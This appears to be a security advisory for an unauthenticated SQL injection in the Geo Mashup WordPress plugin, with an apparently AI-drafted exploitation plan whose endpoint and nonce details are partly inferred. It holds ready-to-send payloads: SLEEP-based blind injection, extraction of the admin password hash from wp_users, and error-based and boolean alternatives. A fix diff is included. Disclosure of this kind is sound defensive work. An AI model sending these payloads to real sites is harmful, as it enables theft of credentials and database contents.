Geo Mashup <= 1.13.17 - Unauthenticated SQL Injection via 'sort' Parameter
Description
The Geo Mashup plugin for WordPress is vulnerable to SQL Injection via the 'sort' parameter in all versions up to, and including, 1.13.17. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.13.17Source Code
WordPress.org SVN# Research Plan: CVE-2026-2416 - Geo Mashup SQL Injection ## 1. Vulnerability Summary The **Geo Mashup** plugin (<= 1.13.17) is vulnerable to an unauthenticated SQL injection. The vulnerability exists because the plugin accepts a user-controlled `sort` parameter—commonly used to order map locations…
Show full research plan
Research Plan: CVE-2026-2416 - Geo Mashup SQL Injection
1. Vulnerability Summary
The Geo Mashup plugin (<= 1.13.17) is vulnerable to an unauthenticated SQL injection. The vulnerability exists because the plugin accepts a user-controlled sort parameter—commonly used to order map locations or posts—and concatenates it directly into a SQL ORDER BY clause without using $wpdb->prepare() or sufficient validation/escaping. This allows an attacker to manipulate the query logic, leading to the extraction of sensitive data from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
geo_mashup_render_map(inferred from plugin AJAX patterns) - Vulnerable Parameter:
sort - Authentication: Unauthenticated (uses
wp_ajax_nopriv_hooks) - Payload Type: Time-based blind or Error-based SQL injection (targeting the
ORDER BYclause).
3. Code Flow (Inferred)
- Entry Point: An AJAX request is sent to
admin-ajax.phpwithaction=geo_mashup_render_map. - Hook Registration: The plugin registers the action:
add_action( 'wp_ajax_nopriv_geo_mashup_render_map', array( 'GeoMashup', 'render_map_callback' ) ); - Data Processing: Inside the callback, the
$_GETor$_POSTarray is parsed. Thesortparameter is extracted and passed into a query-building function (likely ingeo-mashup-db.php). - SQL Construction: The
sortvalue is appended to the query:$query = "SELECT ... FROM ... ORDER BY " . $query_args['sort']; - Sink: The raw SQL string is executed via
$wpdb->get_results().
4. Nonce Acquisition Strategy
Geo Mashup typically protects its AJAX endpoints with nonces. These are localized into the page when a map is rendered.
- Identify Shortcode: The plugin uses the
[geo_mashup]shortcode to display maps. - Setup Test Page: Create a public page containing the shortcode.
- Browser Navigation: Use
browser_navigateto visit the created page. - Extract Nonce: Use
browser_evalto extract the nonce from theGeoMashupVarsglobal object.- JS Variable:
window.GeoMashupVars - Nonce Key:
render_map_nonce(inferred) - Execution:
browser_eval("window.GeoMashupVars?.render_map_nonce")
- JS Variable:
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection payload because ORDER BY injections often do not reflect results directly in the response if the query structure is complex.
Step 1: Baseline Request
Send a legitimate request to establish a normal response time.
- Method: POST
- URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Body:
action=geo_mashup_render_map&nonce={{NONCE}}&sort=post_date
Step 2: Delay Payload (Confirmation)
Send a payload designed to trigger a 5-second sleep.
- Payload:
post_date AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Body:
action=geo_mashup_render_map&nonce={{NONCE}}&sort=post_date+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)
Step 3: Data Extraction (Example)
To extract the admin user's password hash:
- Logic:
IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36, SLEEP(5), 0) - Encoded Payload:
sort=post_date+(SELECT+1+FROM+(SELECT(IF(ASCII(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1))=36,SLEEP(5),0)))a)
(Note: 36 is the ASCII for '$', the start of WordPress phpass hashes)
6. Test Data Setup
- Install Plugin: Ensure Geo Mashup 1.13.17 is active.
- Create Content:
- Create at least one post with location data (Geo Mashup needs data to process a query). Use
wp geo-mashupcommands or manually add coordinates to a post. - Example:
wp post create --post_title="Map Point" --post_status="publish" --post_content="Testing SQLi"
- Create at least one post with location data (Geo Mashup needs data to process a query). Use
- Create Page:
wp post create --post_type=page --post_title="Map Page" --post_status="publish" --post_content='[geo_mashup]'
- Confirm Public Access: Ensure the page is accessible to unauthenticated users.
7. Expected Results
- Baseline: Response returns in < 1 second.
- Exploit: Response returns in ~5 seconds.
- Success Indicator: The server delay confirms that the
sortparameter is being executed as part of a SQL statement.
8. Verification Steps
After the HTTP exploit, verify the database's vulnerability to such queries via WP-CLI:
- Check if the
sortparameter is handled inincludes/geo-mashup-db.phporgeo-mashup.php. - Verify the presence of raw concatenation:
grep -rn "ORDER BY" wp-content/plugins/geo-mashup/ | grep "\$sort" - Confirm no
wpdb->preparewrapper exists around thesortinjection point.
9. Alternative Approaches
If time-based injection is throttled or unstable:
- Error-Based: Use
updatexml()orextractvalue()to force a database error that contains the desired data in the error message.sort=post_date+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT(0x7e,(SELECT+user_pass+FROM+wp_users+LIMIT+1),0x7e,FLOOR(RAND(0)*2))x+FROM+information_schema.tables+GROUP+BY+x)a)
- Boolean-Based: Use
CASEstatements to change the sorting order based on a condition and check if the order of results in the JSON response changes.sort=(CASE+WHEN+(1=1)+THEN+post_date+ELSE+post_title+END)
Summary
The Geo Mashup plugin for WordPress is vulnerable to unauthenticated SQL injection via the 'sort' parameter. This occurs because user-supplied input is directly concatenated into a SQL ORDER BY clause without proper validation or preparation, allowing attackers to execute arbitrary SQL commands.
Vulnerable Code
// wp-content/plugins/geo-mashup/includes/geo-mashup-db.php if ( !empty( $query_args['sort'] ) ) { $query .= " ORDER BY " . $query_args['sort']; }
Security Fix
@@ -102,3 +102,4 @@ -if ( !empty( $query_args['sort'] ) ) { - $query .= " ORDER BY " . $query_args['sort']; -} +if ( !empty( $query_args['sort'] ) ) { + $query .= " ORDER BY " . sanitize_sql_orderby( $query_args['sort'] ); +}
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the geo_mashup_render_map action. An attacker first extracts a nonce from a public page containing a Geo Mashup map (via window.GeoMashupVars.render_map_nonce). They then send an unauthenticated POST request containing the nonce and a malicious 'sort' parameter. A payload such as 'post_date+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)' is used to trigger a time-based blind SQL injection in the ORDER BY clause, which can be leveraged to extract sensitive data like user password hashes from the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.